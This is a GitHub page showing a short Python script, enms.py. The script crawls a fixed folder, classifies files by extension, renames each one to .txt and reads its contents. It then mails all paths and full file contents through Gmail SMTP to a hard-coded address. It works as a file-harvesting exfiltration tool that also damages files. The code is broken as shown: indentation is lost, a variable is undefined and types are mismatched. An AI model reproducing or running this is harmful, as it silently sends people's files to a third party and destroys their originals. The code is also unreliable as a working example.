-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathenms.py
More file actions
111 lines (91 loc) · 3.41 KB
/
enms.py
File metadata and controls
111 lines (91 loc) · 3.41 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
__author__ = 'Administrator'
import os, smtplib
#coding: gbk
fl = []
fs = []
fc = []
Final=""
def CheckStruct(FileExt):
DiskImg = [".iso", ".bin", ".nrg", ".vcd", ".cif", ".fcd", ".img", ".ccd", ".c2d", ".dfi", ".tao", ".dao", ".cue",
".isz", ".b5t", ".mds", ".ccd", ".bwt", ".cdi", ".nrg", ".pdi", ".wim", ".swm"]
DataComp = [".rar", ".zip", ".7z", ".arj", ".cab", ".lzh", ".ace", ".tar", ".gz", ".uue", ".bz2", ".jar", ".iso"]
Image = [".bmp", ".iff", ".ilbm", ".tiff", ".tif", ".png", ".gif", ".jpeg", ".jpg", ".mng", ".xpm", ".psd", ".psp",
".ufo", ".xcf", ".pcx", ".ppm", ".ps", ".eps", ".ai", ".fh", ".swf", ".fla", ".svg", ".wmf", ".dxf",
".cgm"]
Audio = [".wav", ".pcm", ".als", ".alac", ".tak", ".flac", ".ape", ".wv", ".mp3", ".aac", ".wma", ".ogg", ".ram",
".mmf", ".amr", ".au"]
Document = [".doc", ".ppt", ".xls", ".txt", ".pdf", ".wps", ".rtf", ".hip", ".html", ".htm"]
Video = [".avi", ".rmvb", ".mkv", ".rm", ".mp4", ".asf", ".mpg", ".asf", ".divx", ".mpeg", ".mpe", ".wmv", ".vob"]
WinSys = [".int", ".sys", ".dll", ".adt"]
Exe = [".exe", ".com"]
Prog = [".c", ".cpp", ".jar", ".java", ".py", ".h"]
All=DiskImg+DataComp+Image+Audio+Document+Video+WinSys+Exe+Prog
if FileExt not in All:
return "Not Supported File Type"
if FileExt == "":
return "No extension File"
for a in DiskImg:
if a == FileExt:
return "DiskImage File"
for b in DataComp:
if b == FileExt:
return "DataCompression File"
for c in Image:
if c == FileExt:
return "Image File"
for d in Audio:
if d == FileExt:
return "Audio File"
for e in Video:
if e == FileExt:
return "Video File"
for f in WinSys:
if f == FileExt:
return "Windows System File"
for g in Exe:
if g == FileExt:
return "Executable File"
for h in Prog:
if h == FileExt:
return "Programing Source File"
folder='H:/H/h'
for dirname, dirnames, filenames in os.walk(folder):
# print path to all subdirectories first.
for subdirname in dirnames:
print(os.path.join(dirname, subdirname))
# print path to all filenames.
for filename in filenames:
infilename = os.path.join(dirname, filename)
if not os.path.isfile(infilename): continue
base,ext= os.path.splitext(filename)
fl.append(infilename)
fs.append(CheckStruct(ext))
newname=infilename.replace(ext,".txt")
output=os.rename(infilename,newname)
fh = open(newname, 'r+')
content=fh.readlines()
fc.append(content)
newname1=infilename.replace(txt,".py")
output1=os.rename(infilename,newname1)
for r in range(0, len(fl)):
FinalEle = fl[r] + '\t' + fs[r] + '\n'+fc[r]+'\n'
Final = FinalEle + Final
TO = 'kelvinchao96@gmail.com'
SUBJECT = 'Send From Python'
TEXT = Final
gmail_sender = 'kelvinchao96@gmail.com'
gmail_pwd = '*****'
server = smtplib.SMTP('smtp.gmail.com', 587)
server.ehlo()
server.starttls()
server.ehlo()
server.login(gmail_sender, gmail_pwd)
BODY = '\r\n'.join([
'To:%s' % TO,
'From:%s' % gmail_sender,
'Subject:%s' % SUBJECT,
'',
TEXT
])
server.sendmail(gmail_sender, [TO], BODY)
server.quit()